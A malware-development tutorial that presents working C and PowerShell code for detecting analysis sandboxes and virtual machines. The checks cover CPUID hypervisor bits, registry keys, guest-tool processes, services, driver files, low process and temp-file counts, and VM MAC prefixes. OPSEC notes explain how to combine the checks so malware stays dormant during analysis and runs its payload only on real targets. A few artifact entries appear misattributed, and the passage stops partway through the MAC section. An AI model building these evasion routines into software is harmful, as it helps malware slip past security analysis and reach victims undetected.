ᛉ Yggdrasil

Malware development

Sandbox Detection Techniques

15 Oct 2026 · 11,408 words · 52 min

Contents

Legend: [DETECT] = Detection vector | [VM] = Virtual machine artifact | [SANDBOX] = Sandbox-specific artifact | [EVASION] = Counter/bypass | [OPSEC] = Operational Security note | [WMI] = WMI-based check | [TOOL] = Tool reference | [MITRE] = MITRE ATT&CK reference | [FP] = False positive risk


1. Why Detect Sandboxes

What it means: Automated malware analysis sandboxes (Cuckoo, ANY.RUN, Joe Sandbox, VirusTotal) run suspicious files in monitored VMs and record all behavior. If malware can detect it is in a sandbox or VM, it can exit silently, appear benign, and receive a "CLEAN" verdict — reaching its real target undetected.

The core problem:

Sandbox analysis:
  Submit: evil_loader.exe
  → Run in VM for 2 minutes
  → Record: Registry, network, files, processes
  → Behavior: "Nothing suspicious" → verdict: CLEAN
  → Sample deployed to real endpoints
  → Malware checks: "Am I in a VM/sandbox?"
  → YES → exit / do nothing → sandbox gets clean verdict
  → NO (real machine) → execute full payload

Red Report 2026 (Picus Labs):
  >60% of VirusTotal samples use at least one sandbox evasion technique
  Sandbox evasion (T1497) reappeared in Top 10 techniques after 2 years

Detection categories:

Category 1: VM Artifact Checks
  → Registry keys, files, processes, drivers left by VMware / VirtualBox / Hyper-V
  → Strongest, most portable technique

Category 2: Hardware Resource Fingerprinting
  → Sandboxes have weak hardware: 1-2 CPUs, 2-4 GB RAM, small disk
  → Real machines have more resources

Category 3: Human Interaction Checks
  → Sandboxes have no real user — no mouse movement, no recent files, no keystrokes
  → Most reliable — a real user always leaves traces

Category 4: Timing Checks
  → Sandboxes accelerate Sleep() to compress analysis time
  → Detectable by cross-referencing multiple time sources (see Delayed Execution note)

Category 5: Environment Fingerprinting
  → Sandbox-specific usernames (sandbox, malware, admin), hostnames, domain names
  → Analysis tool presence (Wireshark, Process Monitor, x64dbg, OllyDbg)

Category 6: CPU / Instruction-Level Checks
  → CPUID hypervisor bit, RDTSC timing overhead, x86 VM-specific instructions
  → Most robust — can't be faked without hardware support

MITRE ATT&CK mapping:

T1497     — Virtualization/Sandbox Evasion
T1497.001 — System Checks (VM artifacts, registry, hardware)
T1497.002 — User Activity Based Checks (mouse, files, input)
T1497.003 — Time Based Checks (covered in Delayed Execution note)

[OPSEC] Never rely on a single check. Use 3+ independent categories. Score each result (§17) and only abort if threshold is met — reduces false positives on hardened sandboxes.


2. CPUID — Hypervisor Bit & Vendor String

What it means: The x86 CPUID instruction returns CPU information. When executed inside a VM, the hypervisor sets bit 31 of ECX (on EAX=1 query) — the "hypervisor present bit." With EAX=0x40000000, the hypervisor returns a 12-byte vendor string (e.g., VMwareVMware, VBoxVBoxVBox, Microsoft Hv). This is a hardware-level check — no API calls, no registry — making it one of the hardest to counter.

2.1 CPUID Fundamentals

CPUID instruction:
  Input:  EAX = leaf (query type)
  Output: EAX, EBX, ECX, EDX (results)

Leaf EAX=1 — Basic CPU info:
  ECX bit 31 = "Hypervisor Present Bit"
  0 = bare metal (or hypervisor hiding)
  1 = inside a VM (VMware, VirtualBox, Hyper-V, KVM, QEMU all set this)

Leaf EAX=0x40000000 — Hypervisor info:
  EBX+ECX+EDX = 12-byte hypervisor vendor string
  VMware:     "VMwareVMware"
  VirtualBox: "VBoxVBoxVBox"
  Hyper-V:    "Microsoft Hv"
  KVM:        "KVMKVMKVM\0\0\0"
  QEMU:       "TCGTCGTCGTCG"
  Xen:        "XenVMMXenVMM"

2.2 CPUID Hypervisor Check (C — MSVC Intrinsic)

// cpuid_detect.c — Detect hypervisor via CPUID

#include <windows.h>
#include <intrin.h>   // __cpuid() MSVC intrinsic
#include <stdio.h>
#include <string.h>

// Check 1: Hypervisor present bit (ECX bit 31)
BOOL cpuid_hypervisor_bit() {
    int cpuInfo[4] = {0};
    __cpuid(cpuInfo, 1);         // EAX=1 → basic CPU features
    // ECX bit 31 = hypervisor present
    return (cpuInfo[2] >> 31) & 1;
}

// Check 2: Hypervisor vendor string (EAX=0x40000000)
void cpuid_vendor_string(char out[13]) {
    int cpuInfo[4] = {0};
    __cpuid(cpuInfo, 0x40000000);
    // Vendor in EBX, ECX, EDX (4 bytes each = 12 chars)
    memcpy(out,     &cpuInfo[1], 4);   // EBX
    memcpy(out + 4, &cpuInfo[2], 4);   // ECX
    memcpy(out + 8, &cpuInfo[3], 4);   // EDX
    out[12] = '\0';
}

// Known hypervisor vendor strings
const char* known_hypervisors[] = {
    "VMwareVMware",   // VMware
    "VBoxVBoxVBox",   // VirtualBox
    "Microsoft Hv",   // Hyper-V
    "KVMKVMKVM",      // KVM / QEMU+KVM
    "TCGTCGTCGTCG",   // QEMU (TCG mode)
    "XenVMMXenVMM",   // Xen
    "prl hyperv  ",   // Parallels
    "bhyve bhyve ",   // bhyve (BSD)
    NULL
};

BOOL cpuid_detect_vm() {
    // Check 1: hypervisor bit
    if (cpuid_hypervisor_bit()) {
        printf("[+] CPUID: Hypervisor bit set (ECX bit 31 = 1)\n");
        return TRUE;
    }

    // Check 2: known vendor string
    char vendor[13];
    cpuid_vendor_string(vendor);

    printf("[*] Hypervisor vendor string: '%s'\n", vendor);

    for (int i = 0; known_hypervisors[i]; i++) {
        if (memcmp(vendor, known_hypervisors[i],
                   strlen(known_hypervisors[i])) == 0) {
            printf("[+] CPUID: Known hypervisor detected: %s\n",
                   known_hypervisors[i]);
            return TRUE;
        }
    }
    return FALSE;
}

int main() {
    if (cpuid_detect_vm()) {
        printf("[!] VM/Sandbox environment detected via CPUID\n");
        return 0;
    }
    printf("[-] CPUID: Bare metal (no hypervisor detected)\n");
    return 0;
}

2.3 CPUID — Inline Assembly Version (GCC / MinGW)

// cpuid_asm.c — CPUID via inline assembly (no MSVC dependency)

#include <windows.h>
#include <stdio.h>
#include <stdint.h>

BOOL cpuid_hypervisor_asm() {
    uint32_t ecx = 0;

    __asm__ volatile (
        "cpuid"
        : "=c"(ecx)   // Output: ECX
        : "a"(1)       // Input:  EAX = 1
        : "ebx", "edx" // Clobber
    );

    return (ecx >> 31) & 1;  // Bit 31
}

void cpuid_vendor_asm(char out[13]) {
    uint32_t ebx = 0, ecx = 0, edx = 0;

    __asm__ volatile (
        "cpuid"
        : "=b"(ebx), "=c"(ecx), "=d"(edx)
        : "a"(0x40000000)
        :
    );

    *(uint32_t*)(out + 0) = ebx;
    *(uint32_t*)(out + 4) = ecx;
    *(uint32_t*)(out + 8) = edx;
    out[12] = '\0';
}

2.4 CPUID Inconsistency Check (Advanced — Bypass-Resistant)

// cpuid_incoherence.c — Detect when sandbox patches CPUID inconsistently

#include <windows.h>
#include <intrin.h>
#include <stdio.h>
#include <string.h>

// Some sandboxes zero out ECX bit 31 (clear hypervisor bit)
// but forget to clear the hypervisor vendor string at 0x40000000
// Detect this inconsistency

BOOL cpuid_incoherence_check() {
    int cpuInfo[4] = {0};

    // Check 1: hypervisor bit (leaf 1)
    __cpuid(cpuInfo, 1);
    BOOL hv_bit = (cpuInfo[2] >> 31) & 1;

    // Check 2: hypervisor leaf valid (leaf 0x40000000)
    __cpuid(cpuInfo, 0x40000000);

    // If EAX returned >= 0x40000000, hypervisor leaf is supported
    BOOL hv_leaf_supported = (cpuInfo[0] >= 0x40000000);

    // Check 3: non-zero content in vendor registers
    BOOL hv_vendor_set = (cpuInfo[1] != 0 || cpuInfo[2] != 0 || cpuInfo[3] != 0);

    // Inconsistency: bit says no VM, but vendor string says VM
    if (!hv_bit && hv_leaf_supported && hv_vendor_set) {
        char vendor[13] = {0};
        memcpy(vendor,     &cpuInfo[1], 4);
        memcpy(vendor + 4, &cpuInfo[2], 4);
        memcpy(vendor + 8, &cpuInfo[3], 4);

        printf("[!] CPUID inconsistency detected!\n");
        printf("    Hypervisor bit = 0 (hidden) but vendor = '%s' (VM!)\n", vendor);
        return TRUE;  // Sandbox patched the bit but forgot the vendor string
    }

    // Both agree → consistent answer
    return FALSE;
}

2.5 OPSEC Notes for CPUID

[VM] What sets the hypervisor bit:
  VMware ESXi, Workstation, Fusion: bit 31 = 1
  VirtualBox: bit 31 = 1
  Hyper-V: bit 31 = 1
  KVM/QEMU: bit 31 = 1
  AWS/Azure/GCP VMs: bit 31 = 1 (running on hypervisors!)

[EVASION] Sandbox counter-measures:
  VMware: vmx config: cpuid.1.ecx="0---:..." masks bit 31
  VirtualBox: Edit .vbox file: add CPUIDLeaf for hiding
  Hyper-V: Enlightenment options control vendor string visibility

[FP] False positives WARNING:
  AWS EC2, Azure VMs, GCP instances ALL set the hypervisor bit
  If your target is a cloud VM → CPUID will falsely detect "sandbox"
  Mitigation: cross-check with other signals before aborting

[OPSEC] Combine with vendor string:
  If bit is set AND vendor matches known sandbox list → high confidence
  If bit is set but vendor is "unknown" → may be legitimate cloud VM
  Inconsistency (bit=0, vendor string present) → sandbox patching detected

3. Registry Artifact Checks

What it means: Every major hypervisor and virtualization tool installs registry keys when guest additions or tools are present. These keys are the most commonly checked sandbox indicators — easy to implement, broad coverage. The flip side is that they're also the easiest for sandboxes to remove or mask.

3.1 VMware Registry Keys

// reg_vmware.c — Check for VMware-specific registry artifacts

#include <windows.h>
#include <stdio.h>

// Function to check if a registry key EXISTS
BOOL reg_key_exists(HKEY hRoot, const char* path) {
    HKEY hKey;
    LONG result = RegOpenKeyExA(hRoot, path, 0, KEY_READ, &hKey);
    if (result == ERROR_SUCCESS) {
        RegCloseKey(hKey);
        return TRUE;
    }
    return FALSE;
}

// Function to check if a registry VALUE contains a substring
BOOL reg_value_contains(HKEY hRoot, const char* path,
                          const char* value_name, const char* needle) {
    HKEY hKey;
    if (RegOpenKeyExA(hRoot, path, 0, KEY_READ, &hKey) != ERROR_SUCCESS)
        return FALSE;

    char data[256] = {0};
    DWORD size = sizeof(data);
    DWORD type;

    LONG result = RegQueryValueExA(hKey, value_name, NULL,
                                    &type, (LPBYTE)data, &size);
    RegCloseKey(hKey);

    if (result != ERROR_SUCCESS) return FALSE;

    return (StrStrIA(data, needle) != NULL);  // Case-insensitive search
}

// VMware registry artifacts
BOOL detect_vmware_registry() {
    const char* vmware_keys[] = {
        // VMware Tools
        "SOFTWARE\\VMware, Inc.\\VMware Tools",
        // VMware services
        "SYSTEM\\CurrentControlSet\\Services\\VMTools",
        "SYSTEM\\CurrentControlSet\\Services\\vmhgfs",
        "SYSTEM\\CurrentControlSet\\Services\\VMBusHID",
        "SYSTEM\\CurrentControlSet\\Services\\vmmouse",
        "SYSTEM\\CurrentControlSet\\Services\\vmrawdsk",
        "SYSTEM\\CurrentControlSet\\Services\\vmusbmouse",
        // VMware SCSI drivers
        "SYSTEM\\CurrentControlSet\\Services\\vmscsi",
        // Hardware description
        "HARDWARE\\DEVICEMAP\\Scsi\\Scsi Port 0\\Scsi Bus 0\\Target Id 0\\Logical Unit Id 0",
        NULL
    };

    for (int i = 0; vmware_keys[i]; i++) {
        if (reg_key_exists(HKEY_LOCAL_MACHINE, vmware_keys[i])) {
            printf("[+] VMware registry key: HKLM\\%s\n", vmware_keys[i]);
            return TRUE;
        }
    }

    // Check Disk\Enum for "VMware" string in values
    if (reg_value_contains(HKEY_LOCAL_MACHINE,
            "SYSTEM\\CurrentControlSet\\Services\\Disk\\Enum",
            "0", "VMware")) {
        printf("[+] VMware: Disk\\Enum contains VMware\n");
        return TRUE;
    }

    // Check VideoBiosVersion
    if (reg_value_contains(HKEY_LOCAL_MACHINE,
            "HARDWARE\\Description\\System",
            "VideoBiosVersion", "VMware")) {
        printf("[+] VMware: VideoBiosVersion contains VMware\n");
        return TRUE;
    }

    return FALSE;
}

3.2 VirtualBox Registry Keys

// reg_vbox.c — VirtualBox registry artifact detection

BOOL detect_vbox_registry() {
    const char* vbox_keys[] = {
        "SOFTWARE\\Oracle\\VirtualBox Guest Additions",
        "SOFTWARE\\Oracle\\VirtualBox",
        "SYSTEM\\CurrentControlSet\\Services\\VBoxGuest",
        "SYSTEM\\CurrentControlSet\\Services\\VBoxMouse",
        "SYSTEM\\CurrentControlSet\\Services\\VBoxService",
        "SYSTEM\\CurrentControlSet\\Services\\VBoxSF",       // Shared folders
        "SYSTEM\\CurrentControlSet\\Services\\VBoxVideo",
        "HARDWARE\\ACPI\\DSDT\\VBOX__",                      // ACPI table
        "HARDWARE\\ACPI\\FADT\\VBOX__",
        "HARDWARE\\ACPI\\RSDT\\VBOX__",
        NULL
    };

    for (int i = 0; vbox_keys[i]; i++) {
        if (reg_key_exists(HKEY_LOCAL_MACHINE, vbox_keys[i])) {
            printf("[+] VirtualBox registry key: HKLM\\%s\n", vbox_keys[i]);
            return TRUE;
        }
    }

    // Check SystemBiosVersion for VirtualBox
    if (reg_value_contains(HKEY_LOCAL_MACHINE,
            "HARDWARE\\Description\\System",
            "SystemBiosVersion", "VBOX")) {
        printf("[+] VirtualBox: SystemBiosVersion contains VBOX\n");
        return TRUE;
    }

    // VideoBiosVersion
    if (reg_value_contains(HKEY_LOCAL_MACHINE,
            "HARDWARE\\Description\\System",
            "VideoBiosVersion", "VIRTUALBOX")) {
        printf("[+] VirtualBox: VideoBiosVersion contains VIRTUALBOX\n");
        return TRUE;
    }

    return FALSE;
}

3.3 Hyper-V and QEMU Registry Keys

// reg_hyperv_qemu.c — Hyper-V and QEMU registry checks

BOOL detect_hyperv_registry() {
    const char* hyperv_keys[] = {
        "SOFTWARE\\Microsoft\\Virtual Machine\\Guest\\Parameters",
        "SYSTEM\\CurrentControlSet\\Services\\hvnetvsc",   // Hyper-V NIC
        "SYSTEM\\CurrentControlSet\\Services\\storvsc",    // Hyper-V storage
        "SYSTEM\\CurrentControlSet\\Services\\vmbus",      // VMBus
        "SYSTEM\\CurrentControlSet\\Services\\VMBusHID",
        NULL
    };

    for (int i = 0; hyperv_keys[i]; i++) {
        if (reg_key_exists(HKEY_LOCAL_MACHINE, hyperv_keys[i])) {
            printf("[+] Hyper-V registry key: HKLM\\%s\n", hyperv_keys[i]);
            return TRUE;
        }
    }
    return FALSE;
}

BOOL detect_qemu_registry() {
    const char* qemu_keys[] = {
        "HARDWARE\\DEVICEMAP\\Scsi\\Scsi Port 0\\Scsi Bus 0\\Target Id 0\\Logical Unit Id 0",
        NULL
    };

    // QEMU SCSI: Identifier = "QEMU HARDDISK"
    if (reg_value_contains(HKEY_LOCAL_MACHINE,
            "HARDWARE\\DEVICEMAP\\Scsi\\Scsi Port 0\\Scsi Bus 0"
            "\\Target Id 0\\Logical Unit Id 0",
            "Identifier", "QEMU")) {
        printf("[+] QEMU: Disk Identifier contains QEMU\n");
        return TRUE;
    }

    return FALSE;
}

3.4 All Registry Checks (Combined — C)

// reg_all.c — Combined registry sandbox detection

#include <windows.h>
#include <shlwapi.h>
#pragma comment(lib, "shlwapi.lib")

typedef struct {
    HKEY  hRoot;
    const char* path;
    const char* value_name;  // NULL = just check key exists
    const char* needle;      // NULL = just check key exists
    const char* label;
} RegCheck;

// Comprehensive registry check table
static RegCheck reg_checks[] = {
    // ─── VMware ──────────────────────────────────────────────────
    { HKEY_LOCAL_MACHINE, "SOFTWARE\\VMware, Inc.\\VMware Tools",
      NULL, NULL, "VMware Tools key" },
    { HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\vmhgfs",
      NULL, NULL, "VMware HGFS driver" },
    { HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\vmmouse",
      NULL, NULL, "VMware mouse driver" },
    { HKEY_LOCAL_MACHINE, "HARDWARE\\Description\\System",
      "VideoBiosVersion", "VMware", "VMware VideoBIOS" },
    { HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\Disk\\Enum",
      "0", "VMware", "VMware disk enum" },

    // ─── VirtualBox ──────────────────────────────────────────────
    { HKEY_LOCAL_MACHINE, "SOFTWARE\\Oracle\\VirtualBox Guest Additions",
      NULL, NULL, "VBoxGA key" },
    { HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\VBoxGuest",
      NULL, NULL, "VBoxGuest driver" },
    { HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\VBoxSF",
      NULL, NULL, "VBox shared folders" },
    { HKEY_LOCAL_MACHINE, "HARDWARE\\ACPI\\DSDT\\VBOX__",
      NULL, NULL, "VBox ACPI DSDT" },
    { HKEY_LOCAL_MACHINE, "HARDWARE\\Description\\System",
      "SystemBiosVersion", "VBOX", "VBox SystemBIOS" },

    // ─── Hyper-V ─────────────────────────────────────────────────
    { HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Virtual Machine\\Guest\\Parameters",
      NULL, NULL, "Hyper-V Guest Params" },
    { HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\vmbus",
      NULL, NULL, "Hyper-V VMBus" },

    // ─── QEMU ────────────────────────────────────────────────────
    { HKEY_LOCAL_MACHINE,
      "HARDWARE\\DEVICEMAP\\Scsi\\Scsi Port 0\\Scsi Bus 0\\Target Id 0\\Logical Unit Id 0",
      "Identifier", "QEMU", "QEMU disk ident" },

    // ─── Generic sandbox ─────────────────────────────────────────
    { HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Control\\SystemInformation",
      "SystemManufacturer", "VMware", "System Manufacturer VMware" },
    { HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Control\\SystemInformation",
      "SystemProductName", "Virtual", "System product Virtual" },

    { NULL, NULL, NULL, NULL, NULL }  // Terminator
};

int check_all_registry() {
    int hits = 0;

    for (int i = 0; reg_checks[i].path; i++) {
        RegCheck* c = &reg_checks[i];
        BOOL found = FALSE;

        if (c->value_name == NULL) {
            found = reg_key_exists(c->hRoot, c->path);
        } else {
            found = reg_value_contains(c->hRoot, c->path,
                                        c->value_name, c->needle);
        }

        if (found) {
            printf("[+] Registry hit: %s\n", c->label);
            hits++;
        }
    }
    return hits;  // Return count for scoring (§17)
}

3.5 Registry Check (PowerShell)

# reg_sandbox_check.ps1 — PowerShell registry sandbox detection

function Test-RegistrySandbox {
    $vmKeys = @(
        # VMware
        "HKLM:\SOFTWARE\VMware, Inc.\VMware Tools",
        "HKLM:\SYSTEM\CurrentControlSet\Services\vmhgfs",
        "HKLM:\SYSTEM\CurrentControlSet\Services\vmmouse",
        # VirtualBox
        "HKLM:\SOFTWARE\Oracle\VirtualBox Guest Additions",
        "HKLM:\SYSTEM\CurrentControlSet\Services\VBoxGuest",
        "HKLM:\HARDWARE\ACPI\DSDT\VBOX__",
        # Hyper-V
        "HKLM:\SOFTWARE\Microsoft\Virtual Machine\Guest\Parameters",
        "HKLM:\SYSTEM\CurrentControlSet\Services\vmbus"
    )

    $hits = 0
    foreach ($key in $vmKeys) {
        if (Test-Path $key) {
            Write-Host "[+] Registry hit: $key"
            $hits++
        }
    }

    # Check BIOS version string
    $biosVer = (Get-ItemProperty -Path "HKLM:\HARDWARE\Description\System" `
                 -Name "SystemBiosVersion" -ErrorAction SilentlyContinue).SystemBiosVersion
    if ($biosVer -match "VBOX|VMware|QEMU|VirtualBox") {
        Write-Host "[+] BIOS version contains VM string: $biosVer"
        $hits++
    }

    return $hits
}

$score = Test-RegistrySandbox
Write-Host "[*] Registry check score: $score"
if ($score -ge 2) { Write-Host "[!] VM environment likely"; exit 0 }

4. Process & Service Enumeration

What it means: Every hypervisor installs guest tools that run as processes and services on the guest OS. Enumerating running processes and checking for known VM/sandbox tool names is one of the most reliable detection methods. No registry access needed — just process enumeration.

4.1 Process Name Check (C)

// proc_check.c — Detect VM/sandbox by known process names

#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
#include <string.h>

// Known VM tool processes
const char* vm_processes[] = {
    // VMware
    "vmtoolsd.exe",       // VMware Tools daemon
    "vmwaretray.exe",     // VMware tray icon
    "vmwareuser.exe",     // VMware user process
    "VGAuthService.exe",  // VMware guest auth
    "vmacthlp.exe",       // VMware activation helper
    "vmnat.exe",          // VMware NAT service
    "vmnetdhcp.exe",      // VMware DHCP
    // VirtualBox
    "VBoxService.exe",    // VirtualBox guest service
    "VBoxTray.exe",       // VirtualBox tray
    "VBoxClient.exe",     // VirtualBox client
    // QEMU / KVM
    "qemu-ga.exe",        // QEMU guest agent
    // Parallels
    "prl_tools.exe",      // Parallels tools
    "prl_cc.exe",
    // Hyper-V
    "VmComputeAgent.exe",
    // Generic sandbox agents
    "vmsrvc.exe",         // Virtual PC service
    "vmusrvc.exe",        // Virtual PC user service
    NULL
};

// Known sandbox-specific and analysis tool processes
const char* sandbox_processes[] = {
    // Cuckoo sandbox
    "analyzer.exe",
    "cuckoomon.dll",
    // Sandboxie
    "SbieSvc.exe",
    "SbieCtrl.exe",
    "SandboxieRpcSs.exe",
    "SandboxieDcomLaunch.exe",
    // Joe Sandbox / Comodo
    "joeboxserver.exe",
    "joeboxcontrol.exe",
    // Hybrid Analysis
    "ollydbg.exe",
    // Generic sandbox names
    "sample.exe",         // Common sandbox filename
    "malware.exe",
    "payload.exe",
    NULL
};

BOOL process_running(const char* proc_name) {
    HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (snap == INVALID_HANDLE_VALUE) return FALSE;

    PROCESSENTRY32A pe = { sizeof(pe) };
    BOOL found = FALSE;

    if (Process32FirstA(snap, &pe)) {
        do {
            if (_stricmp(pe.szExeFile, proc_name) == 0) {
                found = TRUE;
                break;
            }
        } while (Process32NextA(snap, &pe));
    }

    CloseHandle(snap);
    return found;
}

int check_vm_processes() {
    int hits = 0;

    for (int i = 0; vm_processes[i]; i++) {
        if (process_running(vm_processes[i])) {
            printf("[+] VM process found: %s\n", vm_processes[i]);
            hits++;
        }
    }
    return hits;
}

int check_sandbox_processes() {
    int hits = 0;

    for (int i = 0; sandbox_processes[i]; i++) {
        if (process_running(sandbox_processes[i])) {
            printf("[+] Sandbox process found: %s\n", sandbox_processes[i]);
            hits++;
        }
    }

    // Check if OWN filename contains sandbox keywords
    char own_path[MAX_PATH];
    GetModuleFileNameA(NULL, own_path, MAX_PATH);
    _strlwr(own_path);

    const char* suspicious_names[] = {
        "sample", "malware", "virus", "payload", "sandbox",
        "test", "analysis", "specimen", NULL
    };

    for (int i = 0; suspicious_names[i]; i++) {
        if (strstr(own_path, suspicious_names[i])) {
            printf("[+] Own filename suspicious: %s\n", own_path);
            hits++;
            break;
        }
    }

    return hits;
}

4.2 Process Count Check (C)

// proc_count.c — Low process count = sandbox indicator

#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>

int count_processes() {
    HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (snap == INVALID_HANDLE_VALUE) return -1;

    PROCESSENTRY32 pe = { sizeof(pe) };
    int count = 0;

    if (Process32First(snap, &pe)) {
        do { count++; } while (Process32Next(snap, &pe));
    }

    CloseHandle(snap);
    return count;
}

BOOL sandbox_low_process_count() {
    int count = count_processes();
    printf("[*] Running processes: %d\n", count);

    // Real Windows machines typically have 50-150+ processes
    // Sandboxes often have fewer than 25-30
    if (count < 25) {
        printf("[+] Suspiciously low process count: %d\n", count);
        return TRUE;
    }
    return FALSE;
}

4.3 Service Check (C)

// svc_check.c — Check for VM-related Windows services

#include <windows.h>
#include <winsvc.h>
#include <stdio.h>

const char* vm_services[] = {
    // VMware
    "VMTools",
    "vmhgfs",
    "VMBusHID",
    "vmmouse",
    "vmrawdsk",
    "vmusbmouse",
    "vmscsi",
    "VMBus",
    // VirtualBox
    "VBoxGuest",
    "VBoxMouse",
    "VBoxService",
    "VBoxSF",
    "VBoxVideo",
    // Hyper-V
    "hvnetvsc",
    "storvsc",
    "vmbus",
    // QEMU
    "QEMU",
    NULL
};

BOOL service_exists(const char* svc_name) {
    SC_HANDLE hSCM = OpenSCManagerA(NULL, NULL, SC_MANAGER_ENUMERATE_SERVICE);
    if (!hSCM) return FALSE;

    SC_HANDLE hSvc = OpenServiceA(hSCM, svc_name, SERVICE_QUERY_STATUS);
    BOOL found = (hSvc != NULL);

    if (hSvc) CloseServiceHandle(hSvc);
    CloseServiceHandle(hSCM);
    return found;
}

int check_vm_services() {
    int hits = 0;
    for (int i = 0; vm_services[i]; i++) {
        if (service_exists(vm_services[i])) {
            printf("[+] VM service found: %s\n", vm_services[i]);
            hits++;
        }
    }
    return hits;
}

5. File System & Driver Checks

What it means: VM guest tools install files and device drivers to specific paths. If those files or driver names are present in the system, it's strong evidence of a virtual environment.

5.1 File & Directory Checks (C)

// fs_check.c — Detect VM/sandbox via filesystem artifacts

#include <windows.h>
#include <stdio.h>

BOOL file_exists(const char* path) {
    DWORD attr = GetFileAttributesA(path);
    return (attr != INVALID_FILE_ATTRIBUTES);
}

// Known VM / sandbox file artifacts
const char* vm_files[] = {
    // VMware Guest Tools
    "C:\\Program Files\\VMware\\VMware Tools\\vmtoolsd.exe",
    "C:\\Program Files\\VMware\\VMware Tools\\",
    "C:\\Windows\\System32\\drivers\\vmhgfs.sys",
    "C:\\Windows\\System32\\drivers\\vmmouse.sys",
    "C:\\Windows\\System32\\drivers\\vmrawdsk.sys",
    "C:\\Windows\\System32\\drivers\\vmusbmouse.sys",
    "C:\\Windows\\System32\\drivers\\vmscsi.sys",
    "C:\\Windows\\System32\\vmtray.dll",

    // VirtualBox Guest Additions
    "C:\\Program Files\\Oracle\\VirtualBox Guest Additions\\",
    "C:\\Windows\\System32\\drivers\\VBoxGuest.sys",
    "C:\\Windows\\System32\\drivers\\VBoxMouse.sys",
    "C:\\Windows\\System32\\drivers\\VBoxSF.sys",
    "C:\\Windows\\System32\\drivers\\VBoxVideo.sys",
    "C:\\Windows\\System32\\vboxhook.dll",
    "C:\\Windows\\System32\\vboxservice.exe",
    "C:\\Windows\\System32\\vboxtray.exe",

    // QEMU
    "C:\\Program Files\\QEMU\\",
    "C:\\Windows\\System32\\drivers\\balloon.sys",   // QEMU memory balloon

    // Sandboxie
    "C:\\Windows\\SbieDll.dll",

    // Sunbelt / GFI sandbox
    "C:\\Windows\\System32\\pstorec.dll",  // SunBelt sandbox artifact

    // Joe Sandbox
    "C:\\Program Files\\Joe Sandbox\\",

    NULL
};

int check_vm_files() {
    int hits = 0;
    for (int i = 0; vm_files[i]; i++) {
        if (file_exists(vm_files[i])) {
            printf("[+] VM file found: %s\n", vm_files[i]);
            hits++;
        }
    }
    return hits;
}

5.2 Temp Directory File Count Check

// temp_check.c — Temp dir file count (sandboxes have very few temp files)

#include <windows.h>
#include <stdio.h>

int count_temp_files() {
    char temp_path[MAX_PATH];
    GetTempPathA(MAX_PATH, temp_path);
    strncat(temp_path, "*", MAX_PATH - strlen(temp_path) - 1);

    WIN32_FIND_DATAA fd;
    HANDLE hFind = FindFirstFileA(temp_path, &fd);
    if (hFind == INVALID_HANDLE_VALUE) return 0;

    int count = 0;
    do {
        if (strcmp(fd.cFileName, ".") != 0 &&
            strcmp(fd.cFileName, "..") != 0) {
            count++;
        }
    } while (FindNextFileA(hFind, &fd));

    FindClose(hFind);
    return count;
}

BOOL sandbox_few_temp_files() {
    int count = count_temp_files();
    printf("[*] Temp dir file count: %d\n", count);

    // Real users have many temp files accumulated over time
    // Freshly provisioned sandbox VMs: < 10 files
    if (count < 10) {
        printf("[+] Very few temp files (%d) — possible sandbox\n", count);
        return TRUE;
    }
    return FALSE;
}

5.3 VirtualBox Shared Folder Check

// vbox_shared.c — Check for VirtualBox shared folder paths

#include <windows.h>
#include <stdio.h>

BOOL detect_vbox_shared_folders() {
    // VirtualBox shared folders appear as network drives \\vboxsrv\
    WCHAR net_resource[] = L"\\\\VBOXSVR\\";  // VBox shared folder server

    DWORD attrs = GetFileAttributesW(net_resource);
    if (attrs != INVALID_FILE_ATTRIBUTES) {
        printf("[+] VirtualBox shared folder server reachable: \\\\VBOXSVR\\\n");
        return TRUE;
    }

    // Also check \\VBOXSRV\
    WCHAR net_resource2[] = L"\\\\VBOXSRV\\";
    attrs = GetFileAttributesW(net_resource2);
    if (attrs != INVALID_FILE_ATTRIBUTES) {
        printf("[+] VirtualBox shared folder: \\\\VBOXSRV\\\n");
        return TRUE;
    }

    return FALSE;
}

6. MAC Address Fingerprinting

What it means: Each network interface has a MAC address with the first 3 bytes (OUI — Organizationally Unique Identifier) assigned to the NIC manufacturer. VMware, VirtualBox, and other hypervisors have assigned OUI prefixes for their virtual NICs. If a machine's NIC has one of these prefixes, it's a virtual machine.

6.1 MAC OUI Prefixes by Hypervisor

VMware assigned OUIs:
  00:0C:29  — VMware workstation (common)
  00:50:56  — VMware ESXi (common)
  00:05:69  — VMware early
  00:1C:14  — VMware

VirtualBox assigned OUI:
  08:00:27  — VirtualBox

Hyper-V / Microsoft:
  00:15:5D  — Hyper-V virtual NIC

Parallels:
  00:1C:42  — Parallels

Xen / AWS (older):
  00:16:3E  — Xen (also AWS EC2 t2/t3 instances!)

QEMU:
  52:54:00  — QEMU/KVM (common default)

6.2 MAC Address Detection (C)

// mac_check.c — Detect VM by MAC address OUI prefix

#include <windows.h>
#include <iphlpapi.h>
#include <stdio.h>
#pragma comment(lib, "iphlpapi.lib")

typedef struct {
    BYTE   oui[3];
    const char* vendor;
} MacOUI;

// Known VM MAC OUI table
static MacOUI vm_ouis[] = {
    { {0x00, 0x0C, 0x29}, "VMware Workstation" },
    { {0x00, 0x50, 0x56}, "VMware ESXi" },
    { {0x00, 0x05, 0x69}, "VMware (early)" },
    { {0x00, 0x1C, 0x14}, "VMware" },
    { {0x08, 0x00, 0x27}, "VirtualBox" },
    { {0x00, 0x15, 0x5D}, "Hyper-V" },
    { {0x00, 0x1C, 0x42}, "Parallels" },
    { {0x00, 0x16, 0x3E}, "Xen/AWS" },
    { {0x52, 0x54, 0x00}, "QEMU/KVM" },
    { {0x00, 0x21, 0xF6}, "VMware (alternate)" },
    { {0x00, 0xA0, 0xB0}, "VMware (legacy)" }
};
